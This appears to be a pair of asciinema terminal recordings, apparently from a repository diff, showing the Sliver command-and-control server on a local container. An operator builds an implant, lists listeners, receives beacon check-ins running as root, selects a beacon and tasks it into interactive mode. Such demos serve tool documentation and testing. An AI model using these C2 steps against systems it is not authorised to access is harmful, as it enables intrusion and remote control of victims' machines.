[29.670252, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[29.771867, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[29.872652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[29.973324, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[30.074435, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[30.174845, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[30.275851, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[30.377039, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[30.477598, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[30.578062, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[30.678295, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[30.77845, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[30.883305, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[30.987537, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[31.08836, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[31.189425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[31.289913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[31.390842, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[31.491413, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[31.592035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[31.692388, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[31.793231, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[31.894299, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[31.995189, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[32.096939, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[32.197776, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[32.302336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[32.402824, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[32.50487, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[32.605665, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[32.706617, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[32.807432, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[32.908046, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[33.009032, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[33.109915, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[33.210604, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[33.3116, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[33.41245, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[33.516247, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[33.616488, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[33.717409, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[33.817961, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[33.918916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[34.018921, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[34.119593, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[34.220874, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[34.323197, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[34.423934, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[34.524936, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[34.629284, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[34.731156, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[34.831911, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[34.93521, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[35.039389, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[35.140101, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[35.240752, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[35.341388, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[35.446188, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[35.547585, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[35.648296, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[35.749446, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[35.849976, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[35.951697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[36.052406, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[36.154746, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[36.25954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[36.361045, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[36.466049, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[36.570787, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[36.675256, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[36.776002, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[36.876802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[36.977448, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[37.058199, "o", "\r\u001b[2K"]
[37.059559, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 15s\r\n"]
[37.072358, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/CONTINUING_DOWNTOWN\r\n"]
[37.072849, "o", "\r\n"]
[37.081564, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.081771, "o", "\u001b[1 q"]
[37.083023, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.084683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[39.785402, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[39.792269, "o", "\u001b[6n"]
[39.799813, "o", "j\u001b[0m\u001b[0K\u001b[49m"]
[39.801567, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[39.871366, "o", "\u001b[?25l"]
[39.87277, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.876524, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[39.962292, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.971702, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[39.97248, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[40.076739, "o", "\u001b[?25l"]
[40.083932, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.090014, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[40.365397, "o", "\u001b[13D\u001b[9C"]
[40.368244, "o", "\u001b[6n"]
[40.372542, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[40.400703, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 1 http tcp 80 \r\n\r\n"]
[40.412577, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.412736, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.415374, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
[40.415811, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[45.467196, "o", "\u001b[9D\u001b[9C\u001b[107D\u001b[0J"]
[45.467961, "o", "\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 2ed27d54 CONTINUING_DOWNTOWN - 127.0.0.1:60402 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:30:06 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[45.470559, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[45.471633, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[48.327549, "o", "\u001b[H\u001b[2J"]
[48.331957, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[48.341971, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[48.343887, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[48.681461, "o", "\u001b[?25l"]
[48.690762, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[48.698902, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[48.724389, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[48.727315, "o", "be\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[48.7685, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[48.769393, "o", "\u001b[6n"]
[48.772022, "o", "bea\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[48.772175, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[48.89754, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[48.9088, "o", "beac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[49.045498, "o", "\u001b[1 q"]
[49.090455, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
[49.091825, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.094181, "o", "\u001b[1m\u001b[32mbeacons \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[49.095871, "o", "\u001b[1A\u001b[17D\u001b[9C\u001b[107D\u001b[17C\u001b[?25h"]
[49.218244, "o", "\u001b[17D\u001b[9C"]
[49.220895, "o", "\u001b[6n"]
[49.224622, "o", "\u001b[107D\u001b[17C\u001b[0J\u001b[107D\r\r\n"]
[49.225698, "o", "\u001b[0 q\r\n"]
[49.254538, "o", " ID Name Transport Hostname Username Operating System Last Check-In Next Check-In \r\n========== ===================== =========== ============== ========== ================== =============== ===============\r\n \u001b[0m2ed27d54\u001b[0m \u001b[0mCONTINUING_DOWNTOWN\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m 4s \u001b[1m\u001b[32m15s\u001b[0m \r\n\r\n"]
[49.265808, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[49.265962, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.267311, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[49.267577, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[53.296549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[53.30563, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[53.45963, "o", "\u001b[?25l\u001b[107D"]
[53.459921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[53.464752, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[53.579648, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[53.590477, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[53.590827, "o", "\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[53.761387, "o", "\u001b[?25l"]
[53.76232, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[53.770592, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
[54.915484, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[54.931527, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
[54.932852, "o", "\u001b[0 q\r\n"]
[54.948308, "o", "Exiting...\r\n"]
[54.99178, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[56.165927, "o", "^C"]
[56.172389, "o", "\u001b[?2004l\r\u001b[?2004h\u001b[?2004l\r\r\n"]
[56.183662, "o", "\u001b[?2004hroot@98df0494f659:~# "]
[56.672344, "o", "\u001b[?2004l\r\r\n"]
[56.678369, "o", "exit\r\n"]
@@ -0,0 +1,326 @@
{"version": 2, "width": 107, "height": 52, "timestamp": 1714590264, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.136132, "o", "\u001b[?2004h"]
[0.143774, "o", "root@98df0494f659:~# "]
[0.553882, "o", "."]
[0.600805, "o", "/"]
[0.786408, "o", "s"]
[0.920327, "o", "l,"]
[1.020856, "o", "i"]
[1.09121, "o", "v"]
[1.237796, "o", "e"]
[1.462542, "o", "\b\u001b[K"]
[1.608919, "o", "\b\u001b[K"]
[1.789658, "o", "\b\u001b[K"]
[1.964842, "o", "\b\u001b[K"]
[2.221513, "o", "i"]
[2.348423, "o", "v"]
[2.437752, "o", "e"]
[2.543392, "o", "r"]
[2.604143, "o", "-"]
[2.821617, "o", "s"]
[2.872165, "o", "e"]
[2.921024, "o", "r"]
[3.132354, "o", "v"]
[3.22335, "o", "e"]
[3.328553, "o", "r"]
[3.740231, "o", "\r\n"]
[3.741739, "o", "\u001b[?2004l\r"]
[4.820992, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\n"]
[4.824064, "o", "All hackers gain miracle\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n\r\n"]
[4.851709, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.853842, "o", "\u001b[1 q"]
[4.855739, "o", "\u001b[?25l"]
[4.856263, "o", "\u001b[107D"]
[4.857824, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.860336, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[4.861145, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C"]
[4.862185, "o", "\u001b[107D\u001b[9C\u001b[?25h"]
[8.911322, "o", "\u001b[9D\u001b[9C\u001b[107D"]
[8.911705, "o", "\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon df10fe87 CONTINUING_DOWNTOWN - 127.0.0.1:60516 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 19:04:33 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[8.912258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.91474, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[10.377847, "o", "\u001b[?25l"]
[10.381083, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.390668, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[10.393864, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.395131, "o", "\u001b[6n"]
[10.400558, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[10.483651, "o", "\u001b[?25l"]
[10.486915, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.49085, "o", "uys\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[10.946724, "o", "\u001b[?25l"]
[10.948094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.951717, "o", "uy\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[11.063725, "o", "\u001b[?25l"]
[11.064389, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.076724, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.077069, "o", "\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[11.102311, "o", "\u001b[?25l"]
[11.103071, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.105707, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[11.146745, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.146897, "o", "\u001b[6n"]
[11.149231, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D"]
[11.14994, "o", "\u001b[12C\u001b[?25h"]
[11.374809, "o", "\u001b[12D\u001b[9C"]
[11.376359, "o", "\u001b[6n"]
[11.379162, "o", "\u001b[107D\u001b[12C\u001b[0J\u001b[107D\r\r\n"]
[11.381221, "o", "\u001b[0 q\r\n"]
[11.405099, "o", "\u001b7\u001b[?25l"]
[11.406297, "o", "\u001b8"]
[11.407694, "o", "\u001b[0G\u001b[2K"]
[11.422757, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[11.423641, "o", "\u001b7"]
[11.427229, "o", "\u001b[1A"]
[11.427338, "o", "\u001b[0G"]
[11.988908, "o", "\u001b8"]
[11.99021, "o", "\u001b[?25h\u001b8\u001b[0G"]
[11.998075, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[12.000187, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[12.002379, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (df10fe87-85a9-4957-bb8a-1fac6f46beee)\r\n"]
[12.050123, "o", "\r\n"]
[12.067053, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[12.069129, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[12.077063, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
[12.077321, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[14.803268, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[14.81619, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[14.816919, "o", "\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[14.863769, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[14.865055, "o", "\u001b[6n"]
[14.867546, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[14.867924, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[14.920156, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[14.923699, "o", "int\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[15.016849, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[15.02499, "o", "inte\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[15.026144, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[15.125867, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[15.135034, "o", "inter\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[15.136964, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[15.30068, "o", "\u001b[1 q"]
[15.359274, "o", "\u001b[1 q"]
[15.361036, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[15.36373, "o", "\u001b[1m\u001b[32minteractive \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[15.364559, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
[16.281669, "o", "\u001b[43D\u001b[31C"]
[16.289447, "o", "\u001b[6n"]
[16.293013, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
[16.294473, "o", "\u001b[0 q\r\n"]
[16.311327, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mUsing beacon's active C2 endpoint: https://localhost\r\n"]
[16.333966, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (97065184)\r\n"]
[16.334834, "o", "\r\n"]
[16.347152, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[16.347733, "o", "\u001b[1 q\u001b[?25l"]
[16.347906, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[16.349684, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D"]
[16.350076, "o", "\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[19.76795, "o", "\u001b[?25l\u001b[107D"]
[19.770371, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[19.77702, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D"]
[19.778475, "o", "\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[19.835542, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[19.838361, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[19.839131, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[19.974258, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[19.986342, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[19.987375, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[20.046116, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[20.051129, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[20.05242, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[20.247916, "o", "\u001b[35D\u001b[31C\u001b[6n"]
[20.259176, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[20.287182, "o", "\u001b[1m Beacon ID: \u001b[0mdf10fe87-85a9-4957-bb8a-1fac6f46beee\r\n"]
[20.287548, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19304\r\n"]
[20.287807, "o", "\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n"]
[20.287876, "o", "\u001b[1m Arch: \u001b[0mamd64\r\n"]
[20.287932, "o", "\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n"]
[20.288299, "o", "\u001b[1m Remote Address: \u001b[0m127.0.0.1:60516\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
